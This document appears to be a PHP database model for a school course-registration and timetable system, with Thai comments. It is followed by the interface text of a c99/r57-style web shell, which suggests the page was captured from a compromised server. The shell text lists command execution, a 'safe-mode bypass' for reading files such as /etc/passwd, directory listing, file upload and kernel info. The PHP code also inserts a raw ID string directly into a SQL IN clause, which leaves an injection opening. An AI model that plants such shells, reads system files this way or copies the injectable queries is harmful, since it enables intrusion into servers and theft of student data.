     * @todo    use
     */
    
function qryCoJoinCur($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId=curId
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
// ***** Start TIMETABLE *****
    
function qryCoByClIdStrPrsIdIsNull($clIdStr) {
        
$sql "SELECT * FROM $this->rg_dbname.rg_CourseOpen 
                    WHERE coId IN ($clIdStr) 
                    AND coPrsId IS NULL"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    function 
qryCoByClIdStrNotPrsId($clIdStr$prsId) {
        
$sql "SELECT * FROM $this->rg_dbname.rg_CourseOpen 
                    WHERE coId IN ($clIdStr) 
                    AND coPrsId <> ?"
;
        
$query $this->db->query($sql, array($prsId));
        return 
$query;
    }
    
// ***** End TIMETABLE *****

    /**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอน รายวิชาเรียนรวม ตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows: rg_CourseOpen.*, rg_CourseOpenFor.*, rg_Course.*
     * @todo    use
     */
    
function qryCoJoinCofCrs($condition="",$order="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                $c1
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ สำหรับรายงาน rptRis109
     *
     * @access    public
     * @param    coId
     * @return        query 
     * @todo    use
     */
    
function qryForRis109($coId) {
        
$sql "SELECT * 
                FROM $this->rg_dbname.rg_CourseOpen                
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                LEFT JOIN $this->rg_dbname.rg_Day ON ttDyId=dyId
                WHERE coId=?
                "
;
        
$query $this->db->query($sql, array($coId));
        return 
$query;
    }

     function 
qryForRis110($coId) {

        
$sql "SELECT * 
                 FROM $this->rg_dbname.rg_CourseOpen 
                 INNER JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId 
                 LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId = curId
                 LEFT JOIN $this->ppc_dbname.Level ON curElvId = levelId
                 WHERE coId=?"
;
        
$query $this->db->query($sql, array($coId));
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาปีการศึกษาที่มีการกำหนดรายวิชาที่เปิดสอน
     *
     * @access    public
     * @return    query
     * @todo    use
     */
    
public function qryCoGrpCoAcY() {
        
$sql "SELECT coAcY
                FROM $this->rg_dbname.rg_CourseOpen
                GROUP BY coAcY"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
get_optionsGrpCoAcY($optional='y') {
        
$query $this->qryCoGrpCoAcY();
        if(
$optional=='y'$opt[''] = '';
        foreach(
$query->result() as $row) {
            
$opt[$row->coAcY] = $row->coAcY;
        }
        return 
$opt;
    }

    
//use
    
public function getNumBySex($coId$sex) {
        
$sql "SELECT COUNT(sdtStdId) AS num 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    INNER JOIN $this->rg_dbname.rg_StudentDetails ON rdStdId = sdtStdId
                    INNER JOIN $this->rg_dbname.rg_Student ON rdStdId = stdId
                    WHERE rdCoId = ? 
                    AND sdtSex = ?"
;
        
$query $this->db->query($sql, array($coId$sex));
//AND stdSstId = 1    
        
if ($query->num_rows()) {
            return 
$query->row()->num;
        } else {
            return 
0;
        }
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0093 ]--